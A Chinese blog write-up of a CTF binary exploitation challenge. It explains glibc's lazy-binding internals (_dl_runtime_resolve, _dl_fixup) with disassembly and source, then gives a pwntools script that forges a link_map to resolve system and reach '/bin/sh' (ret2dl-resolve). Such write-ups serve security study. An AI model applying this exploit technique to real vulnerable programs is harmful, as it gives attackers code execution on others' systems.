【WriteUp】栈溢出之ret2dl-reslove

文章深入分析了glibc中的延迟绑定机制,包括_dl_runtime_resolve_xsavec函数如何保存和还原调用参数环境,以及_dl_fixup函数如何进行符号查找和绑定。在PartialRELRO保护下,通过伪造LinkMap结构来实现特定功能的利用,特别关注了FakeLinkMap的构造和注意事项。文章最后提出了在计算负数地址时遇到的问题。
摘要由CSDN通过智能技术生成

笔记

[!NOTE] 在pwndbg中查看结构体定义
pwndbg> ptype Struct


程序分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  read(0, buf, 0x1000uLL);
  return 0;
}

/*
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)
RUNPATH:  b'/root/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'
*/

超大的栈溢出,保护只开了NXPartial RELRO

ELF中没有后门函数,可利用字符串,可用的函数也只有read

>>>elf.plt

{‘read’: 4195312}

>>>elf.got

{‘__libc_start_main’: 6295536, ‘__gmon_start__’: 6295544, ‘read’: 6295576}


利用分析

延迟绑定技术

为避免在运行程序时加载过多的动态链接导致卡顿,操作系统实现了延迟绑定(Lazy Binding)的技术,只有在函数首次调用时才进行绑定,

当程序首次 call func@plt,将执行以下操作,此处拿read@plt作为示例

.text:0000000000400506               call    _read
_read proc near
.plt:00000000004003F0                jmp     cs:off_601018
_read endp
.plt:00000000004003F6                push    0
.plt:00000000004003FB                jmp     plt_0

当程序每次call _read时,都将跳转至0x4003F0执行jmp语句,在首次调用时,cs:off_601018指向read@plt的下一条指令,即0x4003F6以进行绑定操作,在第一次调用后,cs:off_601018将指向read的真正地址

plt_0 proc near                         
.plt:00000000004003E0             push    cs:linkMap
.plt:00000000004003E6             jmp     cs:_dl_runtime_resolve
plt_0 endp

push cs:linkMap后跳转至_dl_runtime_resolve函数,加上read@plt中push 0,此处即调用_dl_runtime_resolve(linkMap,0)


_dl_runtime_resolve_xsavec函数分析

;↓↓↓↓↓↓↓↓↓↓保存调用参数环境↓↓↓↓↓↓↓↓↓↓
0x00007ffff7c17750 <+0>:	push   rbx
0x00007ffff7c17751 <+1>:	mov    rbx,rsp
0x00007ffff7c17754 <+4>:	and    rsp,0xffffffffffffffc0
0x00007ffff7c17758 <+8>:	sub    rsp,QWORD PTR [rip+0x2100a9]        # 0x7ffff7e27808 <_rtld_global_ro+168>
0x00007ffff7c1775f <+15>:	mov    QWORD PTR [rsp],rax
0x00007ffff7c17763 <+19>:	mov    QWORD PTR [rsp+0x8],rcx
0x00007ffff7c17768 <+24>:	mov    QWORD PTR [rsp+0x10],rdx
0x00007ffff7c1776d <+29>:	mov    QWORD PTR [rsp+0x18],rsi
0x00007ffff7c17772 <+34>:	mov    QWORD PTR [rsp+0x20],rdi
0x00007ffff7c17777 <+39>:	mov    QWORD PTR [rsp+0x28],r8
0x00007ffff7c1777c <+44>:	mov    QWORD PTR [rsp+0x30],r9
0x00007ffff7c17781 <+49>:	mov    eax,0xee
0x00007ffff7c17786 <+54>:	xor    edx,edx
0x00007ffff7c17788 <+56>:	mov    QWORD PTR [rsp+0x250],rdx
0x00007ffff7c17790 <+64>:	mov    QWORD PTR [rsp+0x258],rdx
0x00007ffff7c17798 <+72>:	mov    QWORD PTR [rsp+0x260],rdx
0x00007ffff7c177a0 <+80>:	mov    QWORD PTR [rsp+0x268],rdx
0x00007ffff7c177a8 <+88>:	mov    QWORD PTR [rsp+0x270],rdx
0x00007ffff7c177b0 <+96>:	mov    QWORD PTR [rsp+0x278],rdx
0x00007ffff7c177b8 <+104>:	xsavec [rsp+0x40]
0x00007ffff7c177bd <+109>:	mov    rsi,QWORD PTR [rbx+0x10]
0x00007ffff7c177c1 <+113>:	mov    rdi,QWORD PTR [rbx+0x8]
;↑↑↑↑↑↑↑↑↑↑保存调用参数环境↑↑↑↑↑↑↑↑↑↑
0x00007ffff7c177c5 <+117>:	call   0x7ffff7c0fdf0 <_dl_fixup>;真正的绑定查询函数
0x00007ffff7c177ca <+122>:	mov    r11,rax ;将结果保存至R11
;↓↓↓↓↓↓↓↓↓↓还原调用参数环境↓↓↓↓↓↓↓↓↓↓
0x00007ffff7c177cd <+125>:	mov    eax,0xee
0x00007ffff7c177d2 <+130>:	xor    edx,edx
0x00007ffff7c177d4 <+132>:	xrstor [rsp+0x40]
0x00007ffff7c177d9 <+137>:	mov    r9,QWORD PTR [rsp+0x30]
0x00007ffff7c177de <+142>:	mov    r8,QWORD PTR [rsp+0x28]
0x00007ffff7c177e3 <+147>:	mov    rdi,QWORD PTR [rsp+0x20]
0x00007ffff7c177e8 <+152>:	mov    rsi,QWORD PTR [rsp+0x18]
0x00007ffff7c177ed <+157>:	mov    rdx,QWORD PTR [rsp+0x10]
0x00007ffff7c177f2 <+162>:	mov    rcx,QWORD PTR [rsp+0x8]
0x00007ffff7c177f7 <+167>:	mov    rax,QWORD PTR [rsp]
0x00007ffff7c177fb <+171>:	mov    rsp,rbx
0x00007ffff7c177fe <+174>:	mov    rbx,QWORD PTR [rsp]
0x00007ffff7c17802 <+178>:	add    rsp,0x18
;↑↑↑↑↑↑↑↑↑↑还原调用参数环境↑↑↑↑↑↑↑↑↑↑
0x00007ffff7c17806 <+182>:	bnd jmp r11 ;跳转至原目标函数

可以看到_dl_runtime_resolve_xsavec函数只负责

1.保存原目标函数(read)的参数环境

2.调用_dl_fixup查询并绑定read的真正地址至linkMap中指定的重定位地址

3.还原原目标函数(read)的参数环境

4.跳转至_dl_fixup的查询结果

而真正做查询绑定操作的是_dl_fixup函数


_dl_fixup函数分析

glibc2.27 下_dl_fixup函数源码分析
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{

    //符号表symtab = linkMap->l_info[6]
    const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);

    //字符串表strtab = linkMap->l_info[5]
    const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);

    //重定位表reloc = linkMap->l_info[23] + reloc_arg
    const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);

    //定位符号sym = symtab[reloc->r_info] 此处使用reloc->r_info的高32位作为索引
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
    const ElfW(Sym) *refsym = sym;

    //重定位地址(rel_addr) = LinkMap->l_addr + reloc->r_offset
    void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

    lookup_t result;
    DL_FIXUP_VALUE_TYPE value;

    /* 判断重定位类型是否为7--ELF_MACHINE_JMP_SLOT */
    assert(ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

    /*此处判断sym->st_other的最后两位是否为0*/
    if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
    {
        const struct r_found_version *version = NULL;
        if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
        {
            const ElfW(Half) *vernum =
                (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
            ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
            version = &l->l_versions[ndx];
            if (version->hash == 0)
                version = NULL;
        }
        int flags = DL_LOOKUP_ADD_DEPENDENCY; //156
        if (!RTLD_SINGLE_THREAD_P)//171
        {
            THREAD_GSCOPE_SET_FLAG();
            flags |= DL_LOOKUP_GSCOPE_LOCK;
        }
          
#ifdef RTLD_ENABLE_FOREIGN_CALL
        RTLD_ENABLE_FOREIGN_CALL;
#endif
        result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope, 
                                     version, ELF_RTYPE_CLASS_PLT, flags, NULL);
        /* We are done with the global scope.  */
        if (!RTLD_SINGLE_THREAD_P)//+226
            THREAD_GSCOPE_RESET_FLAG();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
        RTLD_FINALIZE_FOREIGN_CALL;
#endif
        /* Currently result contains the base load address (or link map)
       of the object that defines sym.  Now add in the symbol
       offset.  */
        value = DL_FIXUP_MAKE_VALUE(result,sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
    }
    else
    {
        //绑定查询结果等于 linkMap->l_addr + sym->st_value
        value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value);
        result = l;
    }
    
    value = elf_machine_plt_value(l, reloc, value);
    if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0))
        value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));
    /* Finally, fix up the plt itself.  */
    if (__glibc_unlikely(GLRO(dl_bind_not)))
        return value;
    return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);
}
libc-2.27-ubuntu1-amd64下__dl_fixup函数汇编分析
<+0>:	push   rbx
<+1>:	mov    r10,rdi  						;r10 = rdi = LinkMap
<+4>:	mov    esi,esi
<+6>:	lea    rdx,[rsi+rsi*2]					;rdx = rsi = 0
<+10>:	sub    rsp,0x10
;const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);
<+14>:	mov    rax,QWORD PTR [rdi+0x68]		;rax = DT_STRTAB
<+18>:	mov    rdi,QWORD PTR [rax+0x8]		;rdi = ELF String Table

;const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
<+22>:	mov    rax,QWORD PTR [r10+0xf8]		;rax = DT_JMPREL
<+29>:	mov    rax,QWORD PTR [rax+0x8]		;rax = Elf64_Rela

;const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);
<+33>:	lea    r8,[rax+rdx*8]				;r8 = rax = Elf64_Rela
<+37>:	mov    rax,QWORD PTR [r10+0x70]		;rax = DT_SYMTAB

;const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
<+41>:	mov    rcx,QWORD PTR [r8+0x8]		;rcx = Elf64_Rela->r_info
<+45>:	mov    rbx,QWORD PTR [r8]			;rbx = Elf64_Rela->r_offset

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
<+48>:	mov    rax,QWORD PTR [rax+0x8]		;rax = Elf64_Sym
<+52>:	mov    rdx,rcx						;rdx = rcx = Elf64_Rela->r_info
<+55>:	shr    rdx,0x20						;rdx = rdx >> 0x20 = Elf64_Rela->r_info>>0x20
<+59>:	lea    rsi,[rdx+rdx*2]
<+63>:	lea    rsi,[rax+rsi*8]				;rsi = Elf64_Sym[Elf64_Rela->r_info >> 32]

;const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
<+67>:	mov    rax,QWORD PTR [r10]			;rax = linkMap->l_addr
<+70>:	mov    QWORD PTR [rsp+0x8],rsi		;var_sym = rsi
<+75>:	add    rbx,rax

;assert(ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
<+78>:	cmp    ecx,0x7
<+81>:	jne    0x7fa516a0ff64 <_dl_fixup+372>

;if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
<+87>:	test   BYTE PTR [rsi+0x5],0x3
<+91>:	jne    0x7fa516a0fee8 <_dl_fixup+248>

<+97>:	mov    rax,QWORD PTR [r10+0x1c8]
<+104>:	xor    r8d,r8d
<+107>:	test   rax,rax
<+110>:	je     0x7fa516a0fe8c <_dl_fixup+156>
<+112>:	mov    rax,QWORD PTR [rax+0x8]
<+116>:	movzx  eax,WORD PTR [rax+rdx*2]
<+120>:	and    eax,0x7fff
<+125>:	lea    rdx,[rax+rax*2]
<+129>:	mov    rax,QWORD PTR [r10+0x2e0]
<+136>:	lea    r8,[rax+rdx*8]
<+140>:	mov    eax,0x0
<+145>:	mov    r9d,DWORD PTR [r8+0x8]
<+149>:	test   r9d,r9d
<+152>:	cmove  r8,rax
<+156>:	mov    edx,DWORD PTR fs:0x18
<+164>:	test   edx,edx
<+166>:	mov    eax,0x1
<+171>:	jne    0x7fa516a0ff48 <_dl_fixup+344>
<+177>:	mov    esi,DWORD PTR [rsi]
<+179>:	mov    rcx,QWORD PTR [r10+0x380]
<+186>:	lea    rdx,[rsp+0x8]
<+191>:	push   0x0
<+193>:	push   rax
<+194>:	mov    r9d,0x1
<+200>:	add    rdi,rsi
<+203>:	mov    rsi,r10
<+206>:	call   0x7fa516a0b0b0 <_dl_lookup_symbol_x>
<+211>:	mov    r8,rax
<+214>:	mov    eax,DWORD PTR fs:0x18
<+222>:	test   eax,eax
<+224>:	pop    rcx
<+225>:	pop    rsi
<+226>:	jne    0x7fa516a0ff10 <_dl_fixup+288>
<+228>:	mov    rsi,QWORD PTR [rsp+0x8]
<+233>:	xor    eax,eax

;if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0))
<+235>:	test   rsi,rsi
<+238>:	je     0x7fa516a0fef8 <_dl_fixup+264>;sym == NULL

<+240>:	test   r8,r8
<+243>:	je     0x7fa516a0fee8 <_dl_fixup+248>
<+245>:	mov    rax,QWORD PTR [r8]

;value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value);
<+248>:	movzx  edx,BYTE PTR [rsi+0x4]			;edx = [rsi+0x4] = sym->st_info
<+252>:	add    rax,QWORD PTR [rsi+0x8]			;rax = rax + [rsi+0x8] = linkMap->l_addr + sym->st_value 此命令执行完后rax = 真正函数地址

;if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0))
<+256>:	and    edx,0xf							
<+259>:	cmp    dl,0xa							;if sym->st_info == STT_GNU_IFUNC						
<+262>:	je     0x7fa516a0ff60 <_dl_fixup+368>	

;if (__glibc_unlikely(GLRO(dl_bind_not)))
<+264>:	mov    edx,DWORD PTR [rip+0x2178aa]		;edx = dl_bind_not
<+270>:	test   edx,edx
<+272>:	jne    0x7fa516a0ff05 <_dl_fixup+277>	;if (__glibc_unlikely(GLRO(dl_bind_not)))

;return value;
<+274>:	mov    QWORD PTR [rbx],rax				;reloc = 绑定查询结果
<+277>:	add    rsp,0x10
<+281>:	pop    rbx
<+282>:	ret

<+283>:	nop    DWORD PTR [rax+rax*1+0x0]
<+288>:	xor    eax,eax
<+290>:	xchg   DWORD PTR fs:0x1c,eax
<+298>:	cmp    eax,0x2
<+301>:	jne    0x7fa516a0fed4 <_dl_fixup+228>
<+303>:	mov    rdi,QWORD PTR fs:0x10
<+312>:	xor    r10d,r10d
<+315>:	add    rdi,0x1c
<+319>:	mov    edx,0x1
<+324>:	mov    esi,0x81
<+329>:	mov    eax,0xca
<+334>:	syscall 
<+336>:	jmp    0x7fa516a0fed4 <_dl_fixup+228>
<+338>:	nop    WORD PTR [rax+rax*1+0x0]
<+344>:	mov    DWORD PTR fs:0x1c,0x1
<+356>:	mov    eax,0x5
<+361>:	jmp    0x7fa516a0fea1 <_dl_fixup+177>
<+366>:	xchg   ax,ax

;value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));
<+368>:	call   rax

<+370>:	jmp    0x7fa516a0fef8 <_dl_fixup+264>	;if (__glibc_unlikely(GLRO(dl_bind_not)))
<+372>:	lea    rcx,[rip+0x132fd]        # 0x7fa516a23268 <__PRETTY_FUNCTION__.10843>
<+379>:	lea    rsi,[rip+0x1115a]        # 0x7fa516a210cc
<+386>:	lea    rdi,[rip+0x132b7]        # 0x7fa516a23230
<+393>:	mov    edx,0x50
<+398>:	call   0x7fa516a1b790 <__GI___assert_fail>;重定位类型不等于7

由于本题是x64且保护Partial RELRO,所以暂不分析st_other==0的情况

根据源码和汇编的分析,可知

  • 最终绑定函数地址 = linkMap->l_addr + sym->st_value
  • 最终绑定函数地址写入位置 = linkMap->l_addr + reloc->r_offset

解题思路

伪造LinkMap

伪造LinkMap->l_addr 作为偏移以计算最终绑定函数地址

伪造LinkMap->l_info[JMPREL]及ELF64_Rela 以定位sym索引及重定位地址

伪造LinkMap->l_info[SYMTAB] 来定位libc函数将st_value作为基址以计算最终绑定函数地址

图解FakeLinkMap

以下是需要伪造的LinkMap结构分析

为LinkMap成员和FakeLinkMap需伪造成员的对照

为FakeLinkMap需伪造成员的结构和位置

为FakeLinkMap伪造后的具体成员结构和值

由于不采用_dl_lookup_symbol_x查询函数,所以无需伪造ELF_Sym结构体,直接将其指向__libc_start_main_got-0x8即可,这样即可得到sym->st_value__libc_start_main的真实地址,而最终地址为 l_addr - sym->st_value ,所以只需计算并传入这个偏移 l_addr 即可获得最终函数的地址

注意事项

1.虽然在利用中DT_STRTAB未被使用,但仍需将其和成员String table指向一块可读写的空间

2.虽然并不需要用到绑定写入的最终函数地址,但仍需计算并指定reloc->r_offset使重定位地址落在一个可读写的内存空间上

3.LinkMap的DT_PTR并不直接指向ELF结构体,而是指向Dynamic结构体

最终FakeLinkMap代码

from pwn import *

elf = ELF("./prog")
libc = ELF("./libc-2.27.so")

bss = 0x601030
FakeLinkMap = bss+0x110
l_addr = libc.sym['system'] - libc.sym['__libc_start_main']

linkMap = p64(l_addr)
linkMap += p64(0x17)
linkMap += p64(FakeLinkMap + 0x18)
linkMap += p64(FakeLinkMap + 0x100 - l_addr)
linkMap += p64(7)
linkMap += p64(0)
linkMap += p64(0x6)
linkMap += p64(elf.got['__libc_start_main']-0x8)
linkMap += b'/bin/sh\x00'
linkMap = linkMap.ljust(0x60,b'A')
linkMap += p64(FakeLinkMap + 0x100 - l_addr)
linkMap += p64(FakeLinkMap + 0x58)
linkMap += p64(FakeLinkMap + 0x30)
linkMap = linkMap.ljust(0xf8,b'A')
linkMap += p64(FakeLinkMap + 0x8)

遗留问题

l_addr的计算有可能是负数,Python里-1就是-1,但是p64函数并不接受一个负数,必须让-1不是-1而是0xFFFFFFFFFFFFFFFF,所以我手动计算负数的值并将其写为十六进制以避免p64()函数报错,由于我编码能力垃圾暂时也没想明白怎么解决

如果分析有问题,欢迎指出

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值